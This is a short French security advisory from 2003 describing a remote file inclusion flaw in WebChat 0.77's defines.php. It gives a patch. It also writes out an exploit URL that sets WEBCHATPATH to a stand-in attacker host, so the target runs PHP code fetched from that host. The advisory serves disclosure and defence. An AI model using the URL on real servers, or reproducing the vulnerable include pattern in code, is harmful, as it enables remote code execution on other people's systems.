WebChat
						*******
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://www.webdev.ro
Version : 0.77
Problème : Inclusions de fichiers

Developpement :
°°°°°°°°°°°°°°°
WebChat est un chat simple open source qui existe depuis quelques années.

Le faille est relativement classique.
Dans le fichier defines.php, on peut voir les lignes de code :
-----------------------------------------------
<?
if (!isset($WEBCHATPATH)) {
	 $WEBCHATPATH = './';
}
include ($WEBCHATPATH.'db_mysql.php');
include ($WEBCHATPATH.'language/english.php');
[...]
-----------------------------------------------
On pourra donc inclure et faire executer les fichier http://[attacker]/db_mysql.php et 
http://[attacker]/language/english.php  dans le fichier http://[target]/defines.php, grâce à une url du type :
http://[target]/defines.php?WEBCHATPATH=http://[attacker]/
Ces fichiers se trouvant sur http://[attacker] seront alors executés comme du code php sur le serveur http://[target]
et avec ses droits et restrictions.
Tout ceci n'est possible que si register_globals est sur ON.

Patch :
°°°°°°°
Dans defines.php, remplacer les lignes :
-----------------------------
if (!isset($WEBCHATPATH)) {
	 $WEBCHATPATH = './';
}
-----------------------------
par :
--------------------
$WEBCHATPATH = './';
--------------------

Un patch peut être trouvé sur http://www.phpsecure.info.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@frog-man.org
Website : http://www.phpsecure.info
Date : 01/03/03